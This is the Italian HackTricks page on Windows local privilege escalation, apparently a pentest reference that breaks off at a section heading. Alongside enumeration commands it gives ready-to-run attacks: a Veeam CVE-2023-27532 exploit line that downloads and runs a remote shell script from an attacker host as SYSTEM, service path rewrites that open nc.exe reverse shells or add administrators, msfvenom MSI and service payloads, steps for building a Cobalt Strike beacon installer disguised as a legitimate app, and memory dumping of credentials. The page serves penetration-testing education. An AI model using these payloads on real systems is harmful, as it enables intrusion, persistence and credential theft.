Windows Local Privilege Escalation

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
• Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.

Miglior tool per cercare vettori di Windows local privilege escalation: WinPEAS

Teoria iniziale di Windows

Access Tokens

Se non sai cosa sono i Windows Access Tokens, leggi la seguente pagina prima di continuare:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulta la seguente pagina per maggiori informazioni su ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Se non sai cosa sono gli integrity levels in Windows dovresti leggere la seguente pagina prima di continuare:

Integrity Levels

Windows Security Controls

Ci sono diverse cose in Windows che potrebbero impedirti di enumerare il sistema, eseguire file binari o persino rilevare le tue attività. Dovresti leggere la seguente pagina ed enumerare tutti questi meccanismi di difesa prima di iniziare l’enumerazione per la privilege escalation:

Windows Security Controls

Admin Protection / UIAccess silent elevation

I processi UIAccess avviati tramite RAiLaunchAdminProcess possono essere abusati per raggiungere High IL senza prompt quando i controlli secure-path di AppInfo vengono bypassati. Consulta qui il workflow dedicato al bypass di UIAccess/Admin Protection:

Uiaccess Admin Protection Bypass

La propagazione del registro di accessibility di Secure Desktop può essere abusata per una scrittura arbitraria nel registro SYSTEM (RegPwn):

Secure Desktop Accessibility Registry Propagation LPE (RegPwn)

System Info

Version info enumeration

Controlla se la versione di Windows ha qualche vulnerabilità nota (controlla anche le patch applicate).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Questo site è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza Microsoft. Questo database ha più di 4.700 vulnerabilità di sicurezza, mostrando la massive attack surface che un ambiente Windows presenta.

Sul sistema

• post/windows/gather/enum_patches
• post/multi/recon/local_exploit_suggester
• watson
• winpeas (Winpeas has watson embedded)

Localmente con informazioni di sistema

• https://github.com/AonCyberLabs/Windows-Exploit-Suggester
• https://github.com/bitsadmin/wesng

Repo Github di exploit:

• https://github.com/nomi-sec/PoC-in-GitHub
• https://github.com/abatchy17/WindowsExploits
• https://github.com/SecWiki/windows-kernel-exploits

Environment

Qualche credenziale/infosuccosa salvata nelle variabili d’ambiente?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Cronologia di PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

File di trascrizione PowerShell

Puoi imparare come attivarlo in https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

I dettagli delle esecuzioni della pipeline di PowerShell vengono registrati, includendo i comandi eseguiti, le invocazioni dei comandi e parti degli script. Tuttavia, i dettagli completi dell’esecuzione e i risultati dell’output potrebbero non essere acquisiti.

Per abilitarlo, segui le istruzioni nella sezione “Transcript files” della documentazione, scegliendo “Module Logging” invece di “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Per visualizzare gli ultimi 15 eventi dai log di PowersShell puoi eseguire:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Un record completo dell’attività e del contenuto completo dell’esecuzione dello script viene acquisito, garantendo che ogni blocco di codice sia documentato mentre viene eseguito. Questo processo preserva una traccia di audit completa di ogni attività, utile per le analisi forensi e per analizzare il comportamento malevolo. Documentando tutta l’attività al momento dell’esecuzione, vengono forniti dettagli approfonditi sul processo.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Gli eventi di logging per il Script Block possono essere trovati nel Windows Event Viewer al percorso: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Per visualizzare gli ultimi 20 eventi puoi usare:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Impostazioni Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unità

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puoi compromettere il sistema se gli aggiornamenti non vengono richiesti usando httpS ma http.

Inizi controllando se la rete usa un aggiornamento WSUS non SSL eseguendo quanto segue in cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Oppure il seguente in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Se ricevi una risposta come una di queste:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" è uguale a 1.

Allora, è sfruttabile. Se l’ultimo registry è uguale a 0, allora la voce WSUS verrà ignorata.

Per sfruttare queste vulnerabilities puoi usare tool come: Wsuxploit, pyWSUS - questi sono script exploit weaponized MiTM per iniettare aggiornamenti ‘fake’ nel traffico WSUS non-SSL.

Leggi la ricerca qui:

WSUS CVE-2020-1013

Leggi il report completo qui.
Fondamentalmente, questo è il flaw che questo bug sfrutta:

Se abbiamo il potere di modificare il nostro local user proxy, e Windows Updates usa il proxy configurato nelle impostazioni di Internet Explorer, allora abbiamo il potere di eseguire PyWSUS localmente per intercettare il nostro traffico e eseguire code come un utente elevato sul nostro asset.

Inoltre, poiché il servizio WSUS usa le impostazioni dell’utente corrente, userà anche il suo certificate store. Se generiamo un certificato self-signed per l’hostname WSUS e aggiungiamo questo certificato nel certificate store dell’utente corrente, saremo in grado di intercettare sia il traffico HTTP sia HTTPS WSUS. WSUS non usa meccanismi tipo HSTS per implementare una validazione trust-on-first-use sul certificato. Se il certificato presentato è trusted dall’utente e ha il corretto hostname, verrà accettato dal servizio.

Puoi sfruttare questa vulnerability usando il tool WSUSpicious (una volta che sarà liberato).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Molti agent enterprise espongono una superficie IPC localhost e un canale di update privilegiato. Se l’enrollment può essere forzato verso un server attacker e l’updater si fida di una rogue root CA o di weak signer checks, un local user può consegnare un MSI malevolo che il servizio SYSTEM installa. Vedi una tecnica generalizzata (basata sulla catena Netskope stAgentSvc – CVE-2025-0309) qui:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 espone un servizio localhost su TCP/9401 che processa messaggi controllati dall’attacker, consentendo comandi arbitrari come NT AUTHORITY\SYSTEM.

• Recon: conferma il listener e la versione, ad esempio netstat -ano | findstr 9401 e (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
• Exploit: posiziona un PoC come VeeamHax.exe con le DLL Veeam richieste nella stessa directory, quindi attiva un payload SYSTEM tramite il socket locale:

.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

Il servizio esegue il comando come SYSTEM.

KrbRelayUp

Esiste una vulnerabilità di local privilege escalation negli ambienti domain Windows in condizioni specifiche. Queste condizioni includono ambienti in cui il LDAP signing non è applicato, gli utenti possiedono self-rights che consentono loro di configurare Resource-Based Constrained Delegation (RBCD) e la possibilità per gli utenti di creare computer all’interno del domain. È importante notare che questi requirements sono soddisfatti usando le default settings.

Trova l’exploit in https://github.com/Dec0ne/KrbRelayUp

Per ulteriori informazioni sul flusso dell’attacco, controlla https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Se questi 2 registers sono abilitati (il valore è 0x1), allora gli utenti con qualsiasi privilegio possono installare (eseguire) file *.msi come NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Payload di Metasploit

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Se hai una sessione meterpreter puoi automatizzare questa tecnica usando il modulo exploit/windows/local/always_install_elevated

PowerUP

Usa il comando Write-UserAddMSI di power-up per creare nella directory corrente un binario MSI di Windows per elevare i privilegi. Questo script genera un installer MSI precompilato che richiede l’aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GUI):

Write-UserAddMSI

Just execute the created binary to escalate privileges.

MSI Wrapper

Leggi questo tutorial per imparare come creare un wrapper MSI usando questo tools. Nota che puoi wrappare un file “.bat” se vuoi solo eseguire command lines

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

• Generate con Cobalt Strike o Metasploit un nuovo Windows EXE TCP payload in C:\privesc\beacon.exe
• Apri Visual Studio, seleziona Create a new project e digita “installer” nella casella di ricerca. Seleziona il progetto Setup Wizard e fai clic su Next.
• Assegna un nome al progetto, come AlwaysPrivesc, usa C:\privesc come percorso, seleziona place solution and project in the same directory, e fai clic su Create.
• Continua a fare clic su Next fino ad arrivare al passo 3 di 4 (choose files to include). Fai clic su Add e seleziona il payload Beacon che hai appena generato. Poi fai clic su Finish.
• Evidenzia il progetto AlwaysPrivesc in Solution Explorer e nelle Properties, cambia TargetPlatform da x86 a x64.
• Ci sono altre proprietà che puoi cambiare, come Author e Manufacturer, che possono rendere l’app installata più legittima.
• Fai clic destro sul progetto e seleziona View > Custom Actions.
• Fai clic destro su Install e seleziona Add Custom Action.
• Fai doppio clic su Application Folder, seleziona il tuo file beacon.exe e fai clic su OK. Questo garantirà che il payload Beacon venga eseguito non appena il programma di installazione viene avviato.
• In Custom Action Properties, cambia Run64Bit in True.
• Infine, build it.
• Se viene mostrato l’avviso File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', assicurati di impostare la piattaforma su x64.

MSI Installation

Per eseguire l’installazione del file .msi malevolo in background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Per sfruttare questa vulnerabilità puoi usare: exploit/windows/local/always_install_elevated

Antivirus e Detectors

Audit Settings

Queste impostazioni decidono cosa viene registrato, quindi dovresti prestare attenzione

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, è interessante sapere dove vengono inviati i log

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS è progettato per la gestione delle password dell’Administrator locale, garantendo che ogni password sia unica, casuale e aggiornata regolarmente sui computer uniti a un domain. Queste password sono archiviate in modo sicuro all’interno di Active Directory e possono essere accessibili solo dagli utenti a cui sono stati concessi permessi sufficienti tramite ACLs, consentendo loro di visualizzare le password dell’admin locale se autorizzati.

LAPS

WDigest

Se attivo, le password in plain-text sono archiviate in LSASS (Local Security Authority Subsystem Service).
Maggiori informazioni su WDigest in questa pagina.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Protezione LSA

A partire da Windows 8.1, Microsoft ha introdotto una protezione avanzata per il Local Security Authority (LSA) per bloccare i tentativi dei processi non attendibili di leggere la sua memoria o iniettare codice, rafforzando ulteriormente il sistema.
Maggiori informazioni sulla protezione LSA qui.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credential Guard

Credential Guard è stato introdotto in Windows 10. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo da minacce come gli attacchi pass-the-hash.| Maggiori informazioni su Credentials Guard qui.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Credenziali memorizzate nella cache

Le credenziali di dominio vengono autenticate dalla Local Security Authority (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di accesso di un utente vengono autenticati da un security package registrato, in genere vengono stabilite le credenziali di dominio per l’utente.
Maggiori informazioni sulle Cached Credentials qui.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Users & Groups

Enumerate Users & Groups

Dovresti controllare se qualcuno dei gruppi a cui appartieni ha permessi interessanti

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Gruppi privilegiati

Se appartieni a qualche gruppo privilegiato potresti essere in grado di elevare i privilegi. Scopri di più sui gruppi privilegiati e su come abusarne per elevare i privilegi qui:

Privileged Groups

Manipolazione dei token

Scopri di più su cosa sia un token in questa pagina: Windows Tokens.
Controlla la seguente pagina per scoprire token interessanti e come abusarne:

Abusing Tokens

Utenti connessi / Sessioni

qwinsta
klist sessions

Cartelle Home

dir C:\Users
Get-ChildItem C:\Users

Policy delle password

net accounts

Ottieni il contenuto degli appunti

powershell -command "Get-Clipboard"

Processi in esecuzione

Permessi di file e cartelle

Prima di tutto, elencando i processi controlla se ci sono password nella command line del processo.
Controlla se puoi sovrascrivere qualche binary in esecuzione oppure se hai permessi di scrittura sulla cartella del binary per sfruttare possibili DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Verifica sempre la presenza di possibili electron/cef/chromium debuggers in esecuzione, potresti abusarne per elevare i privilegi.

Controllo dei permessi dei binari dei processi

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Controllo dei permessi delle cartelle dei binari dei processi (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Puoi creare un dump di memoria di un processo in esecuzione usando procdump di sysinternals. Servizi come FTP hanno le credentials in clear text in memory, prova a fare il dump della memoria e leggere le credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Insecure GUI apps

Applicazioni in esecuzione come SYSTEM possono consentire a un user di avviare un CMD, o navigare tra directory.

Esempio: “Windows Help and Support” (Windows + F1), cerca “command prompt”, fai clic su “Click to open Command Prompt”

Services

Service Triggers consentono a Windows di avviare un service quando si verificano determinate condizioni (attività named pipe/RPC endpoint, eventi ETW, disponibilità IP, arrivo di un device, refresh GPO, ecc.). Anche senza i diritti SERVICE_START spesso puoi avviare service privilegiati attivando i loro trigger. Vedi qui tecniche di enumerazione e attivazione:

Service Triggers

Ottieni un elenco di services:

net start
wmic service list brief
sc query
Get-Service

Permessi

Puoi usare sc per ottenere informazioni di un service

sc qc <service_name>

Si consiglia di avere il binario accesschk di Sysinternals per verificare il livello di privilegio richiesto per ciascun servizio.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Si consiglia di verificare se “Authenticated Users” possono modificare qualche service:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Puoi scaricare accesschk.exe per XP da qui

Abilita service

Se riscontri questo errore (per esempio con SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Puoi abilitarlo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tieni presente che il servizio upnphost dipende da SSDPSRV per funzionare (per XP SP1)

Un altro workaround di questo problema è eseguire:

sc.exe config usosvc start= auto

Modifica del percorso del binary del service

Nel caso in cui il gruppo “Authenticated users” possieda SERVICE_ALL_ACCESS su un service, è possibile modificare il binary eseguibile del service. Per modificare ed eseguire sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Riavviare il servizio

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

I privilegi possono essere elevati tramite varie autorizzazioni:

• SERVICE_CHANGE_CONFIG: Consente la riconfigurazione del binario del servizio.
• WRITE_DAC: Abilita la riconfigurazione dei permessi, portando alla possibilità di modificare le configurazioni del servizio.
• WRITE_OWNER: Permette l’acquisizione della proprietà e la riconfigurazione dei permessi.
• GENERIC_WRITE: Eredita la capacità di modificare le configurazioni del servizio.
• GENERIC_ALL: Eredita anch’esso la capacità di modificare le configurazioni del servizio.

Per il rilevamento e lo sfruttamento di questa vulnerabilità, si può utilizzare exploit/windows/local/service_permissions.

Services binaries weak permissions

Verifica se puoi modificare il binario eseguito da un servizio oppure se hai permessi di scrittura sulla cartella in cui si trova il binario (DLL Hijacking).
Puoi ottenere tutti i binari eseguiti da un servizio usando wmic (non in system32) e verificare i tuoi permessi usando icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Puoi anche usare sc e icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permessi di modifica del registro dei servizi

Dovresti controllare se puoi modificare qualsiasi registro di servizio.
Puoi verificare i tuoi permessi su un registro di servizio facendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Dovrebbe essere verificato se Authenticated Users o NT AUTHORITY\INTERACTIVE possiedono i permessi FullControl. Se sì, il binario eseguito dal servizio può essere modificato.

Per cambiare il Path del binario eseguito:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Race di symlink del Registry per scrittura arbitraria di un valore HKLM (ATConfig)

Alcune funzionalità di Accessibilità di Windows creano chiavi ATConfig per utente che in seguito vengono copiate da un processo SYSTEM in una chiave sessione HKLM. Una race di symbolic link del registry può reindirizzare quella scrittura privilegiata verso qualsiasi percorso HKLM, dando una primitive di scrittura arbitraria di valore HKLM.

Posizioni chiave (esempio: On-Screen Keyboard osk):

• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs elenca le funzionalità di accessibilità installate.
• HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<feature> memorizza la configurazione controllata dall’utente.
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\<feature> viene creata durante i passaggi di logon/secure-desktop ed è scrivibile dall’utente.

Flusso di abuso (CVE-2026-24291 / ATConfig):

1. Popola il valore HKCU ATConfig che vuoi far scrivere da SYSTEM.
2. Attiva la copia del secure-desktop (ad es. LockWorkstation), che avvia il flusso AT broker.
3. Vinci la race posizionando un oplock su C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml; quando l’oplock scatta, sostituisci la chiave HKLM Session ATConfig con un registry link verso un target HKLM protetto.
4. SYSTEM scrive il valore scelto dall’attaccante nel percorso HKLM reindirizzato.

Una volta ottenuta la scrittura arbitraria di un valore HKLM, fai pivot verso LPE sovrascrivendo i valori di configurazione di un servizio:

• HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath (EXE/command line)
• HKLM\SYSTEM\CurrentControlSet\Services\<svc>\Parameters\ServiceDll (DLL)

Scegli un servizio che un utente normale può avviare (ad es. msiserver) e attivalo dopo la scrittura. Nota: l’implementazione pubblica dell’exploit blocca la workstation come parte della race.

Esempio di tooling (RegPwn BOF / standalone):

beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll
net start msiserver

Autorizzazioni AppendData/AddSubdirectory nel registro dei servizi

Se hai questa autorizzazione su un registro, significa che puoi creare sotto-registri da questo. Nel caso dei servizi Windows, questo è sufficiente per eseguire codice arbitrario:

AppendData/AddSubdirectory permission over service registry

Percorsi dei servizi non quotati

Se il percorso di un eseguibile non è tra virgolette, Windows tenterà di eseguire ogni parte finale prima di uno spazio.

Per esempio, per il percorso C:\Program Files\Some Folder\Service.exe Windows tenterà di eseguire:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Elenca tutti i service path non quotati, escludendo quelli che appartengono ai servizi Windows integrati:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puoi rilevare ed exploitare questa vulnerability con metasploit: exploit/windows/local/trusted\_service\_path Puoi creare manualmente un service binary con metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windows consente agli utenti di specificare azioni da eseguire se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binary. Se questo binary è sostituibile, potrebbe essere possibile una privilege escalation. Maggiori dettagli si possono trovare nella official documentation.

Applications

Installed Applications

Controlla i permessi dei binary (forse puoi sovrascriverne uno ed elevare i privilegi) e delle cartelle (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permessi di scrittura

Controlla se puoi modificare qualche file di configurazione per leggere qualche file speciale o se puoi modificare qualche binario che verrà eseguito da un account Administrator (schedtasks).

Un modo per trovare permessi deboli di cartelle/file nel sistema è fare:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Notepad++ plugin autoload persistence/execution

Notepad++ carica automaticamente qualsiasi DLL di plugin nelle sue sottocartelle plugins. Se è presente un’installazione portable/copy scrivibile, inserire un plugin malevolo dà esecuzione automatica del codice dentro notepad++.exe a ogni avvio (inclusi DllMain e i callback del plugin).

Notepad Plus Plus Plugin Autoload Persistence

Run at startup

Verifica se puoi sovrascrivere qualche registro o binario che verrà eseguito da un altro utente.
Leggi la seguente pagina per saperne di più su interessanti autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Drivers

Cerca possibili driver di terze parti strani/vulnerabili

driverquery
driverquery.exe /fo table
driverquery /SI

Se un driver espone un primitive arbitrario di lettura/scrittura kernel (comune in handler IOCTL progettati male), puoi elevare i privilegi rubando direttamente un token SYSTEM dalla memoria kernel. Vedi la tecnica passo per passo qui:

Arbitrary Kernel Rw Token Theft

Per bug di race-condition in cui la chiamata vulnerabile apre un percorso Object Manager controllato dall’attaccante, rallentare deliberatamente la lookup (usando componenti di lunghezza massima o catene di directory profonde) può estendere la finestra da microsecondi a decine di microsecondi:

Kernel Race Condition Object Manager Slowdown

Primitive di corruzione della memoria del registry hive

Le vulnerabilità moderne degli hive consentono di groomare layout deterministici, abusare di discendenti HKLM/HKU scrivibili e convertire la corruzione dei metadata in overflow del paged-pool kernel senza un driver personalizzato. Scopri la catena completa qui:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

